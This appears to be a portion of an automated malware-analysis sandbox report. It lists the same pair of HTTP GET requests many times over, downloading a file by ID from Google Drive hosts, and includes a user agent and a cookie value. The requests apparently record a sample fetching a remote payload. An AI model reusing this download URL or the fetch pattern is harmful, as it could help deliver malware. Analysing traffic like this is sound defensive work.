Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
